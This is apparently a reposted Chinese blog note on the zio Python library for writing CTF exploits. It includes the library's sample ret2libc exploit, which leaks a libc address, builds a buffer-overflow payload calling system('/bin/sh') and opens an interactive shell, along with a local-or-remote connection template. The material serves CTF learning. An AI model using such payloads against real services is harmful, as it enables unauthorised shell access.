CTF中的EXP编写技巧 zio库的使用
生活随笔
收集整理的這篇文章主要介紹了
CTF中的EXP编写技巧 zio库的使用
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
zio庫沒有提供文檔
這個是官方給出的一個例子程序
1 from zio import * 2 io = zio('./buggy-server') 3 # io = zio((pwn.server, 1337)) 4 5 for i in xrange(1337): 6 io.writeline('add ' + str(i)) 7 io.read_until('>>') 8 9 io.write("add TFpdp1gL4Qu4aVCHUF6AY5Gs7WKCoTYzPv49QSa\ninfo " + "A" * 49 + "\nshow\n") 10 io.read_until('A' * 49) 11 libc_base = l32(io.read(4)) - 0x1a9960 12 libc_system = libc_base + 0x3ea70 13 libc_binsh = libc_base + 0x15fcbf 14 payload = 'A' * 64 + l32(libc_system) + 'JJJJ' + l32(libc_binsh) 15 io.write('info ' + payload + "\nshow\nexit\n") 16 io.read_until(">>") 17 # We've got a shell;-) 18 io.interact()可以做本地和遠程的切換
1 from zio import * 2 3 if you_are_debugging_local_server_binary: 4 io = zio('./buggy-server') # used for local pwning development 5 elif you_are_pwning_remote_server: 6 io = zio(('1.2.3.4', 1337)) # used to exploit remote service 7 8 io.write(your_awesome_ropchain_or_shellcode) 9 # hey, we got an interactive shell! 10 io.interact()總結一下
zio (('127.0.0.1',3389), timeout = 9999)
連接到ip的端口
zio('./pwn1') 加載本地文件
?
writeline('abc') 發送字符串
write(‘abc') 發送字符串
?
read_until('hello') 直到收到字符串
read(4) 接收
l32()?? 4byte
l64()?? 8byte
interact()與shell交互
轉載于:https://www.cnblogs.com/Ox9A82/p/5475815.html
總結
以上是生活随笔為你收集整理的CTF中的EXP编写技巧 zio库的使用的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 编写高质量代码:Web前端开发修炼之道(
- 下一篇: JMX学习笔记(一)-MBean